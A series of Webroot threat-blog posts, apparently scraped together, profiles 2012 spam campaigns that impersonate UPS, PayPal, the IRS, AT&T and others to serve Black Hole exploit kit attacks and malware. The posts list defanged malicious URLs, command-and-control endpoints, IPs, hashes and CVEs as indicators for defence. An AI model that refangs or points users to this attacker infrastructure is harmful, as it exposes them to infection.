Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails Cybercriminals spamvertise bogus greeting cards, serve exploits and malware Spamvertised 'Federal Tax Payment Rejected' themed emails lead to Black Hole exploit kit

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Wire Transfer Confirmation' themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals started spamvertising millions of emails impersonating the United Parcel Service (UPS) in an attempt to trick end and corporate users into previewing a malicious .html attachment. Upon previewing it, a tiny iFrame attempts to contact a client-side exploits serving a landing URL, courtesy of the Black Hole web malware exploitation kit.

More details:

Sample screenshot of the spamvertised email:

Sample client-side exploits serving URL: *hxxp://mskoblastionline.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c*

Sample exploits served: CVE-2010-0188 ; CVE-2010-1885

Upon successful client-side exploitation, the campaign drops **MD5: 7fe4d2e52b6f3f22b2f168e8384a757e** – detected by 28 out of 42 antivirus scanners as Worm:Win32/Cridex.E; Trojan.Win32.Buzus.lxwt

mskoblastionline.ru – 50.56.92.47; 190.120.228.92; 203.80.16.81

Name servers part of the campaign's infrastructure:
ns1.mskoblastionline.ru – 85.143.166.186
ns2.mskoblastionline.ru – 203.172.140.202
ns3.mskoblastionline.ru – 87.120.41.155
ns4.mskoblastionline.ru – 173.224.208.60
ns5.mskoblastionline.ru – 132.248.49.112

Responding to these IPs are also the following malicious command and control servers:

penelopochka.ru sergikgorec.ru kolmykiaonline.ru mskoblastionline.ru panalki.ru anapoli.ru flumifrator2unix.ru

We've already seen these domains and IPs used in previously profiled campaigns such as the "**Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit** ", and the "**Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails** " campaign.

This isn't the first time we've profiled malicious campaigns impersonating the United Parcel Service. Consider going through related posts profiling the dynamics of related campaigns:

Cybercriminals impersonate UPS in client-side exploits and malware serving spam campaign Spamvertised 'UPS Delivery Notification' emails serving client-side exploits and malware Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals impersonate UPS, serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails impersonating the United Parcel Service (UPS) in an attempt to trick users into downloading and executing the malicious file hosted on a compromised web site.

More details:

Sample screenshot of the spamvertised email:

Spamvertised URL: *hxxp://buzzstar.co.uk/JUVNEFNQVI.htm*

Actual download location of the malicious archive: *hxxp://buzzstar.co.uk/Label_Copy_UPS.zip*

The malware has a **MD5: b702590c01f76f02e2d8d98833d1c95f** – detected by 36 out of 42 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.z; TrojanDownloader:Win32/Kuluoz.B

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise PayPay themed 'Notification of payment received' emails, serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating PayPal, in an attempt to trick PayPal users into executing the malicious attachment found in the emails.

Using '*Notification of payment received* ' subjects, the campaign is relying on the end user's gullibility in an attempt to infect them with malware. Once executed, it grants a malicious attacker complete control over the victim's PC.

More details:

Sample screenshot of the spamvertised email:

The malware has a **MD5: 9c2f2cabf00bde87de47405b80ef83c1** – detected by 33 out of 42 antivirus scanners as Backdoor.Win32.Androm.fm; Worm:Win32/Gamarue

This isn't the first time that we've profiled PayPal themed malicious campaigns. Go through the following posts to catch up with some of our research regarding related campaigns:

Spamvertised 'PayPal has sent you a bank transfer' themed emails lead to Black Hole exploit kit **Spamvertised 'Your Paypal Ebay.com payment' emails serving client-side exploits and malware** **Spamvertised 'Confirm PayPal account" notifications lead to phishing sites** **Spamvertised 'Your Ebay funds are cleared' themed emails lead to Black Hole exploit kit**

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals have spamvertised millions of emails impersonating Intuit Market, in an attempt to trick end and corporate users into clicking on the malicious links found in the emails.

Upon clicking on them, users are exposed to the client-side exploits served by the Black Hole web malware exploitation kit.

More details:

Sample screenshot of the spamvertised email:

Spamvertised malicious iFrame domains: *hxxp://kolmykiaonline.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c* ; *hxxp://anapoli.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c*

Client-side exploits served: CVE-2010-1885 ; CVE-2010-0188

Upon successful client-side exploitation the campaign drops **MD5: aea6d9be93a6f64357b96db96e9c7e10** – detected by 20 out of 42 antivirus scanners as Trojan-Dropper.Win32.Dapato.bpqu; Worm:Win32/Cridex.E, and **MD5: 7fe4d2e52b6f3f22b2f168e8384a757e** – detected by 28 out of 42 antivirus scanners as Trojan.Win32.Buzus.lxwt; Worm:Win32/Cridex.E

Name servers part of the campaign's infrastructure:
kolmykiaonline.ru – 50.56.92.47; 203.80.16.81
ns1.kolmykiaonline.ru – 85.143.166.186
ns2.kolmykiaonline.ru – 132.248.49.112
ns3.kolmykiaonline.ru – 87.120.41.155

anapoli.ru – 50.56.92.47; 190.120.228.92; 203.80.16.81
ns1.anapoli.ru – 85.143.166.186
ns2.anapoli.ru – 203.172.140.202
ns3.anapoli.ru – 87.120.41.155
ns4.anapoli.ru – 173.224.208.60
ns5.anapoli.ru – 132.248.49.112

We've already seen the same IPs and command and control servers used in the recently profiled "Spamvertised '**Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit** " campaign. Based on this fact, we can conclude that these campaigns are operated by the same cybercriminal/gang of cybercriminals.

The last time we **profiled an Intuit themed malicious campaign** , was in July 2012.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Royal Mail Shipping Advisory' themed emails serve malware - Webroot Blog

facebook linkedin twitter

British users, beware!

Cybercriminals are currently mass mailing millions of emails impersonating the Royal Mail Service in an attempt to trick users into executing the malicious attachment found in the email. Once they do so, the malware opens a backdoor on the targeted hosts allowing cybercriminals to take complete control over the infected PC.

More details:

Sample screenshot of the spamvertised email:

The campaign entices users into executing the following attachments – **MD5: 2f53e7e1b9cadab901c608deb38dfa4e** – detected by 15 out of 37 antivirus scanners as Backdoor.Win32.Androm.gg; Downloader.Dromedan and **MD5: 37e074489d8e7ca0f0d4992710e68564** – detected by 33 out of 42 antivirus scanners as Trojan-Dropper:W32/Agent.DUEL; Worm:Win32/Gamarue.I

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile**. You can also **follow him on Twitter**.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Over the last couple of hours, cybercriminals have started spamvertising millions of emails pretending to be coming from HP ScanJet scanner, in an attempt to trick end and and corporate users into downloading and viewing the malicious .html attachment.

Upon viewing, the document loads the invisible iFrame script, ultimately redirecting the user to a landing URL courtesy of the Black Hole web malware exploitation kit.

More details:

The ongoing spam campaign is using both, zip attachments containing a malicious executable, and a malicious iFrame loading .html file. Let’s take a closer look at the dynamics behind the campaigns.

Spamvertised subject: Scan from a Hewlett-Packard ScanJet # [random number]

Client-side exploits serving URIs: *hxxp://mirdymas.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c* ; *hxxp://anapoli.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c*

Client-side exploits served: CVE-2010-0188 ; CVE-2010-1885

Detection rate for a sample malicious .html attachment: **MD5: 2e12ae0e2472bcd43e4f08e82faaf561** – detected by 16 out of 42 antivirus scanners as Trojan-Clicker.JS.Iframe.gr; Trojan:JS/BlacoleRef.W

Detection rate for a sample spamvertised malicious .zip archive: **MD5: 41f6cd9df05fa7d880061651235d50e0** – detected by

30 out of 41 antivirus scanners as Trojan-Ransom.Win32.PornoAsset!IK; TrojanDownloader.Win32.Deliver.st.

Upon successful client-side exploitation, the campaign drops MD5: 4e0053fe00b65627c07dc8c85c85a351 – detected by 31 out of 42 antivirus scanners as Trojan.Generic.KDV.696365; Trojan.Win32.Yakes.antc; and MD5: 7fe4d2e52b6f3f22b2f168e8384a757e – detected by 28 out of 42 antivirus scanners as Trojan.Win32.Buzus.lxwt; Worm:Win32/Cridex.E.

Once executed, the samples phones back to **87.120.41.155:8080/mx5/in** . In fact, we already seen another campaign using the same command and control server, namely, the malicious spam campaign impersonating 123greetings.com . Clearly, both of these campaigns are launched by the same cybercriminal/gang of cybercriminals.

Now let's take a deeper look into the malicious Black Hole exploit kit landing URLs.

anapoli.ru – 50.56.92.47; 190.120.228.92; 203.80.16.81

Name servers part of the campaign's infrastructure:
ns1.anapoli.ru – 85.143.166.186
ns2.anapoli.ru – 203.172.140.202
ns3.anapoli.ru – 87.120.41.155
ns4.anapoli.ru – 173.224.208.60
ns5.anapoli.ru – 132.248.49.112

Responding to the same IPs are the following malicious domains and command and control servers: penelopochka.ru
sergikgorec.ru
kolmykiaonline.ru
mskoblastionline.ru
panalki.ru
flumifrator2unix.ru

mirdymas.ru – 71.89.140.153; 46.51.218.71; 203.80.16.81

Name servers part of the campaign's infrastructure:
ns1.mirdymas.ru – 85.143.166.186
ns2.mirdymas.ru – 203.172.140.202

ns3.mirdymas.ru – 87.120.41.155
ns4.mirdymas.ru – 173.224.208.60
ns5.mirdymas.ru – 132.248.49.112

Responding to 71.89.140.153 are also the following malicious domains and command and control servers: gorysevera.ru
pussyriotss.ru
spb-koalitia.ru
ashanrestaurant.ru
panamamoskow.ru
onerussiaboard.ru

We've already seen some of these domains in the **recently profiled spam campaign that was impersonating 123greetings.com** in an attempt to trick end and corporate users into clicking on exploits and malware serving links.

Related name servers used in the campaign's infrastructure:

gorysevera.ru ns1.gorysevera.ru – 62.76.190.208
ns2.gorysevera.ru – 203.172.140.202
ns3.gorysevera.ru – 87.120.41.155
ns4.gorysevera.ru – 173.224.208.60
ns5.gorysevera.ru – 132.248.49.112

pussyriotss.ru ns1.pussyriotss.ru – 62.76.190.208
ns2.pussyriotss.ru – 203.172.140.202
ns3.pussyriotss.ru – 87.120.41.155
ns4.pussyriotss.ru – 173.224.208.60
ns5.pussyriotss.ru – 62.76.188.138

spb-koalitia.ru ns1.spb-koalitia.ru – 62.76.190.208
ns2.spb-koalitia.ru – 203.172.140.202
ns3.spb-koalitia.ru – 87.120.41.155
ns4.spb-koalitia.ru – 173.224.208.60
ns5.spb-koalitia.ru – 62.76.188.138

ashanrestaurant.ru ns1.ashanrestaurant.ru – 62.76.190.208
ns2.ashanrestaurant.ru – 203.172.140.202
ns3.ashanrestaurant.ru – 87.120.41.155
ns4.ashanrestaurant.ru – 173.224.208.60
ns5.ashanrestaurant.ru – 132.248.49.112

panamamoskow.ru ns1.panamamoskow.ru – 62.76.190.208
ns2.panamamoskow.ru – 203.172.140.202
ns3.panamamoskow.ru – 87.120.41.155
ns4.panamamoskow.ru – 173.224.208.60
ns5.panamamoskow.ru – 62.76.188.138

onerussiaboard.ru ns1.onerussiaboard.ru – 62.76.190.208
ns2.onerussiaboard.ru – 203.172.140.202
ns3.onerussiaboard.ru – 87.120.41.155
ns4.onerussiaboard.ru – 173.224.208.60
ns5.onerussiaboard.ru – 62.76.188.138

The last time we **intercepted and profiled a similar campaign** , was in March 2012. Back then, the malicious domains were **fast-fluxed** .

We'll continue monitoring the development of the campaign, and update this post as soon as new developments emerge.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Federal Tax Payment Rejected' themed emails lead to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Remember the IRS (Internal Revenue Service) themed **malicious campaign profiled at Webroot's Threat Blog** earlier this month?

Over the past 24 hours, the cybercriminals behind the campaign resumed mass mailing of the same IRS email template, exposing millions of users to the threats posed by the social engineering driven campaign.

More details:

Sample screenshot of the spamvertised email:

Upon clicking on the link, users are exposed to the following bogus "Page loading…" page:

Spamvertised malicious URLs hosted on compromised hosts: *hxxp://feterouge.info/wp-content/plugins/rejrev.html* ; *hxxp://jasnoiglasno.com/wp- content/plugins/zooexojfeix/intrev.html* ; *hxxp://businesspromotesolutions.com/admin/irser.html* ; *hxxp://www.aquitato.net/v3/wp-content/plugins/zvncekcolnx/revnse.html* ; *hxxp://atdcindia.com/COFFEE/revnse.html* ; *hxxp://xerby.com/irsrev.html* ; *hxxp://myoushinji.com/irsrev.html* ; *hxxp://room-4-dessert.com/heb/wp-content/plugins/zeoebikeoou/irser.html* ; *hxxp://evrootdelka.tom.ru/txpo.html* ; *hxxp://wholefoodmall.9138.8008202191.com/txpo.html*

Detection rate for a sample java script redirection: MD5: 8c5ee1902b4429ce303530f37115854a – detected by 1 out of 41 antivirus scanners as Mal/Iframe-W

Sample exploits serving landing URIs: *hxxp://immigrationunix.pro/main.php?page=28677a727aff0456* ; *hxxp://bikeslam.net/main.php?page=8b89c7278770dfd7* ;

hxxp://market-panel.net/main.php?page=8b89c7278770dfd7 ; hxxp://steampoweredprobability.pro/main.php?page=e55871a71c789475 ; hxxp://wireframeglee.info/main.php?page=39630332cf486f5a ; hxxp://wireframeglee.info/main.php?page=39630332cf486f5a ; hxxp://allhugedeals.net/main.php?page=ca16f7c53056850e

Sample exploits served: CVE-2010-0188 ; CVE-2010-1885

Upon successful client-side exploitation, the campaign drops **MD5: 42307705ad637c615a6ed5fbf1e755d1** – detected by 34 out of 42 antivirus scanners as Trojan.Win32.Yakes.ansm; Trojan:Win32/Coremhead, **MD5: 027b7e4f2a34ccea32ffe38c35a20903** – detected by 20 out of 42 antivirus scanners as Worm:Win32/Cridex.E; Trojan-Dropper.Win32.Dapato.bpqt, **MD5: 29cd72608b456c87d91809132401379d** – detected by 20 out of 42 antivirus scanners as Trojan.Dropper.Agent.VJQ, **MD5: cc7ce4552794d3e4c28e8986bec469c2** – detected by 34 out of 42 antivirus scanners as Trojan.Win32.Yakes.aonc; Trojan:Win32/Malagent, **MD5: b8e0ffb6591f6ab556575e4d65e9fed1** – detected by 1 out of 28 antivirus scanners as Trojan-PSW.Win32.Tepfer.babg.

Upon execution, the samples phone back to **192.5.5.241:8080/mx5/B/in** ; **87.120.41.155:8080/mx5/B/in** . We've already seen malware phoning back to the same IP (**87.120.41.155**) in the recently profiled "**Cybercriminals spamvertise bogus greeting cards, serve exploits and malware** ", and the "**Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit** " campaign.

Responding to **87.120.41.155** are the following malicious domains and command and control servers:

horoshovsebudet.ru kamarovoskorlovo.ru serebrokakzoloto.ru cojsdhfhhlsl.ru geekstuffmag.com vzhpiaswhqlswkji.ru insomniacporeed.ru

We'll continue monitoring the development of the campaign.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise bogus greeting cards, serve exploits and malware - Webroot Blog

facebook linkedin twitter

Think you've received an online greeting card from **123greetings.com** ? Think twice!

Over the past couple of days, cybercriminals have spamvertised millions of emails impersonating the popular e-card service **123greetings.com** in an attempt to trick end and corporate users into clicking on client-side exploits and malware serving links, courtesy of the Black Hole web malware exploitation kit.

What's so special about this campaign? Can we connect it to previously spamvertised campaigns profiled at Webroot's Threat Blog? Let's find out.

More details:

Screenshot of the spamvertised email:

Upon clicking on any of the links found in the malicious emails, users are exposed to the following bogus "Page loading…" page:

Obfuscated java script redirection:

Spamvertised malicious URLs: *hxxp://bjflm.cn/postc.html* ; *hxxp://minihotel74.com/pcard.html* ; *hxxp://wowgame.net.cn/pcard.html* ; *hxxp://phototula.ru/postc.html* ; *hxxp://joanjoy.com/postc.html* ; *hxxp://akrepilaclama.org/wp-content/plugins/akismet/greet.html* ; *hxxp://vinointhevalley.com/wp-content/plugins/akismet/greet.html*

Client-side exploits serving URLs: *hxxp://remindingwands.org/main.php?page=861097b084221fd8* – 78.87.123.114; *hxxp://voicecontroldevotes.info/main.php?page=6df8994172330e77; hxxp://immigrationunix.pro/main.php?page=28677a727aff0456*

Client-side exploits served: *CVE-2010-1885*

Upon sucessful exploitation, the campaign drops **MD5: 42307705ad637c615a6ed5fbf1e755d1** – detected by 25 out of 42 antivirus scanners as Trojan.Win32.Yakes.ansm; Mal/Katusha-I.

Upon successful execution, the sample phones back to **87.120.41.155:8080/mx5/B/in**

More MD5s are known to have phoned back to the same command and control server, such as for instance:

MD5: b11421acddbfc94544482d1846ba6d97 MD5: 4e0053fe00b65627c07dc8c85c85a351 MD5: 90d1b3367e97f384af029b0f1674f7ff MD5: d2be252de958b7435279c6e8f270de4e

87.120.41.155 is actually a name server offering DNS resolving services to related malicious and command and control servers part of the campaign such as:
spb-koalitia.ru onerussiaboard.ru mysqlfordummys.ru online-gaminatore.ru leprisoruim.ru switched-games.ru ipadvssonyx.ru online-cammunity.ru zenedin-zidane.ru porschedesignrussia.ru

Associated malicious name servers part of the campaign's infrastructure:
ns1.spb-koalitia.ru – 62.76.190.208
ns2.spb-koalitia.ru – 203.172.140.202
ns3.spb-koalitia.ru – 87.120.41.155
ns4.spb-koalitia.ru – 173.224.208.60
ns5.spb-koalitia.ru – 62.76.188.138

ns1.onerussiaboard.ru – 62.76.190.208
ns2.onerussiaboard.ru – 203.172.140.202
ns3.onerussiaboard.ru – 87.120.41.155
ns4.onerussiaboard.ru – 173.224.208.60
ns5.onerussiaboard.ru – 62.76.188.138

ns1.mysqlfordummys.ru – 62.76.190.208
ns2.mysqlfordummys.ru – 203.172.140.202
ns3.mysqlfordummys.ru – 87.120.41.155

ns4.mysqlfordummys.ru – 173.224.208.60
ns5.mysqlfordummys.ru – 62.76.188.138

ns1.online-gaminatore.ru – 62.213.64.161
ns2.online-gaminatore.ru – 85.143.166.243
ns3.online-gaminatore.ru – 41.66.137.155
ns4.online-gaminatore.ru – 184.106.189.124
ns5.online-gaminatore.ru – 203.172.140.202
ns6.online-gaminatore.ru – 87.120.41.155

ns1.leprisoruim.ru – 62.76.190.208
ns2.leprisoruim.ru – 203.172.140.202
ns3.leprisoruim.ru – 87.120.41.155
ns4.leprisoruim.ru – 173.224.208.60
ns5.leprisoruim.ru – 62.76.188.138

ns1.switched-games.ru – 62.213.64.161
ns2.switched-games.ru – 85.143.166.243
ns3.switched-games.ru – 41.66.137.155
ns4.switched-games.ru – 184.106.189.124
ns5.switched-games.ru – 203.172.140.202
ns6.switched-games.ru – 87.120.41.155

ns1.ipadvssonyx.ru => 62.76.190.208
ns2.ipadvssonyx.ru => 203.172.140.202
ns3.ipadvssonyx.ru => 87.120.41.155
ns4.ipadvssonyx.ru => 173.224.208.60
ns5.ipadvssonyx.ru => 62.76.188.138

ns1.online-cammunity.ru – 62.76.190.208
ns2.online-cammunity.ru – 203.172.140.202
ns3.online-cammunity.ru – 87.120.41.155
ns4.online-cammunity.ru – 173.224.208.60
ns5.online-cammunity.ru – 62.76.188.138

ns1.zenedin-zidane.ru – 62.213.64.161
ns2.zenedin-zidane.ru – 85.143.166.243
ns3.zenedin-zidane.ru – 41.66.137.155
ns4.zenedin-zidane.ru – 184.106.189.124
ns5.zenedin-zidane.ru – 203.172.140.202
ns6.zenedin-zidane.ru – 87.120.41.155

ns1.porschedesignrussia.ru – 62.213.64.161
ns2.porschedesignrussia.ru – 85.143.166.243
ns3.porschedesignrussia.ru – 41.66.137.155
ns4.porschedesignrussia.ru – 184.106.189.124
ns5.porschedesignrussia.ru – 203.172.140.202
ns6.porschedesignrussia.ru – 87.120.41.155

Related client-side exploits and malware serving URLs spamvertised in the same campaign, also drop **MD5: cd0aac6df71fa28d4564406a24f7e1a2** – detected by 28 out of 42 antivirus scanners as Gen:Variant.Zusy.15382; P2P-Worm.Win32.Palevo.fbvx

The second sample phones back to **87.204.199.100:8080/mx5/B/in/** not surprisingly, we've already seen this command and control server used in numerous profiled campaigns, such as, for instance, the **AT&T Billing Center impersonation** one, the **Craigslist spam campaign** , the **PayPal spam campaign** , the **eBay spam campaign** , and the **American Airlines themed spam campaign** .

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

IRS themed spam campaign leads to Black Hole exploit kit - Webroot Blog

facebook linkedin twitter

Recently, cybercriminals launched yet another massive spam campaign, this time impersonating the Internal Revenue Service (IRS) in an attempt to trick tax payers into clicking on a link pointing to a bogus Microsoft Word Document. Once the user clicks on it, they are redirected to a Black Hole exploit kit landing URL, where they're exposed to the client-side exploits served by the kit.

More details:

Screenshot of the spamvertised IRS themed email:

Once the user clicks on the link pointing to a Black Hole landing URL, he's exposed to the following bogus "Page loading…" page:

Spamvertised URLs: *hxxp://tiraccontolamusica.it/reves.html* ; *hxxp://marcina.pl//reves.html* ; *hxxp://juegosinternet.org/reves.html* ; *hxxp://breastenlargementratings.com/reves.html*

Client-side exploits serving URL : *hxxp://retweetadministrator.org/main.php?page=8b45f871830c6e5a*

Client-side exploits served: CVE-2010-0188 ; CVE-2010-1885

Detection rate for a sample redirection script: MD5: 1ab7543c3c7857eec5014b3de5da362e detected by 3 out of 41 antivirus scanners as JS/Iframe.W!tr; Trojan-Downloader.JS.Iframe.czj.

Upon successful client-side exploitation, the campaign drops **MD5: 6d7b7d2409626f2c8c166373e5ef76a5** on the affected hosts, currently detected by 30 out of 41 antivirus scanners as Trojan-Ransom.Win32.Gimemo.akxc

Also, as you can see in the first screenshot, the cybercriminals behind the campaign didn't bother to use the services of a "**cultural diversity on demand** " underground **market proposition** offering the ability to localize a message or a web site to the **native language of the prospective victim** **,** hence they failed to properly formulate their sentence, thereby raising suspicion in the eyes of the prospective victim.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals impersonate AT&T's Billing Service, serve exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals have launched yet another massive spam campaign, this time impersonating AT&T's Billing Center, in an attempt to trick end and corporate users into downloading a bogus Online Bill.

Once gullible and socially engineered users click on any of the links found in the malicious emails, they're automatically redirected to a Black Hole exploit kit landing URL, where they're exposed to client-side exploits, which ultimately drop a piece of malicious software on the affected hosts.

More details:

Screenshot of the spamvertised email:

Spamvertised compromised URls: *hxxp://fitlyspoken.org/wp-admin/atbilred.html* ; *hxxp://tomruff.net/wp-admin/atbilred.html* ; *hxxp://skiclub-marbach.ch/modules/atbilred.html* ; *hxxp://patientshealthtips.com/wp-admin/atbilred.html* ; *hxxp://ecmconnection.com.br/banners/atbilred.html* ; *hxxp://ooesv.at/modules/atbilred.html* ; *hxxp://jaguarloszer.eu/css/atbilred.html* ; *hxxp://andrevanos.nl/robeco/atbilred.html* ; *hxxp://argusoft.de/ak/atbilred.html* ; *hxxp://adviko.ru/doc/atbilred.html* ; *hxxp://issueswithaging.com/wp-content/plugins/zeaaiumxqqi/atbilred.html* ; *hxxp://montecorneo.com/images/atbilred.html* ; *hxxp://qisas.com/wp-admin/atbilred.html* ; *hxxp://elecok.de/modules/atbilred.html* ; *hxxp://odessa-ua.net/modules/atbilred.html* ; *hxxp://ezitis.lv/wp-admin/atbilred.html* ; *hxxp://lostsoul.ro/wp-content/plugins/zdopwbrdkyv/atbilred.html* ; *hxxp://masoncerbone.com/wp-*

content/plugins/zeeyseapoee/atbilred.html ; *hxxp://deafplus.us/wp/wp-content/plugins/zfoorahmuib/atbilred.html* ; *hxxp://hexbugnano.co.uk/wp-content/plugins/zexjtehgupg/atbilred.html* ; *hxxp://ecmconnection.com.br/banners/atbilred.html*

Client-side exploits serving URL: *hxxp://advancementwowcom.org/main.php?page=19152be46559e39d*

Client-side exploits served: CVE-2010-1885

Upon successful client-side exploitation, the campaigns drops **MD5: c497b4d6dfadd4609918282cf91c6f4e** on the infected hosts, currently detected by 19 out of 41 antivirus scanners as Trojan.Generic.KD.687203; W32/Cridex-Q.

Once executed, the sample phones back to **hxxp://87.204.199.100:8080/mx5/B/in/.** We've already seen the same command and control served used in several malware-serving campaigns, namely, the **Craigslist spam campaign** , the **PayPal spam campaign** , the **eBay spam campaign** , and the **American Airlines themed spam campaign** .

As we already predicted, cybercriminals will continue rotating popular brands, introduce new email templates, and newly undetected pieces of malware in an attempt to achieve a higher click-through rate for their malicious campaigns.

AT&T outlines this threat on their site.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Millions of spamvertised emails lead to W32/Casonline - Webroot Blog

facebook linkedin twitter

Thanks to a mature monetization model introduced by vendors of **bogus online gambling software** , cybercriminals continue mass mailing millions of emails in an attempt to earn revenue for each and every new installation of the promoted software.

In this post, I'll profile several prolific spam campaigns attempting to trick users into visiting a bogus web site, and downloading a copy of the **potentially unwanted application (PUA)** most commonly known as **W32/Casonline** .

More details:

Screenshot of the bogus W32/Casonline-promoting email:

Screenshot of the bogus W32/Casonline-promoting web site:

Second screenshot of the bogus W32/Casonline-promoting web site:

Third screenshot of the bogus W32/Casonline-promoting web site:

Fourth screenshot of the bogus W32/Casonline-promoting web site:

Fifth screenshot of the bogus W32/Casonline-promoting web site:

Sixth screenshot of the bogus W32/Casonline-promoting web site:

Seventh screenshot of the bogus W32/Casonline-promoting web site:

Eight screenshot of the bogus W32/Casonline-promoting web site:

Ninth screenshot of the bogus W32/Casonline-promoting web site:

Spamvertised URLs: *hxxp://www.allslotscasino.com* ; *hxxp://www.specialpromotions.biz* ; *hxxp://www.luckynuggetcasino.com* ; *hxxp://www.21grandcasino.com* ; *hxxp://www.gowildcasino.com* ; *hxxp://www.casinoclub.com* ; *hxxp://www.slotsofvegas.com* ; *hxxp://www.cityclubcasino.com* ; *hxxp://clubplayercasino.com*

Detection rate for **MD5: eba4632138daf2fc857f3c8145bb4d1e** – detected by 7 out of 42 antivirus scanners as Skodna.Casino.BK; Adware/CasOnline

Detection rate for **MD5: 7d7e0a5adfd49fd44e8d103e3c1730af** – detected by 8 out of 42 antivirus scanners as Riskware/CasOnline; Unwanted-Program

Detection rate for **MD5: f7d72b0b86aabb3f22c2afb1f88713d2** – detected by 1 out of 42 antivirus scanners as Win32/RubyRoyal

Detection rate for **MD5: 84b778528b96db04d233608f40f56aaa** – detected by 6 out of 42 antivirus scanners as W32/Casino.P.gen!Eldorado; Riskware/CasOnline

Detection rate for **MD5: 0121df3907024a68e6d9423b14db30fe** – detected by 3 out of 42 antivirus scanners as Win32/RealTimeGaming_i

Detection rate for **MD5: ec49130d21b60a766737aa4061790313** – detected by 2 out of 42 antivirus scanners as Heuristic.LooksLike.Win32.Suspicious.C

We'll continue monitoring these ongoing spam campaigns.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

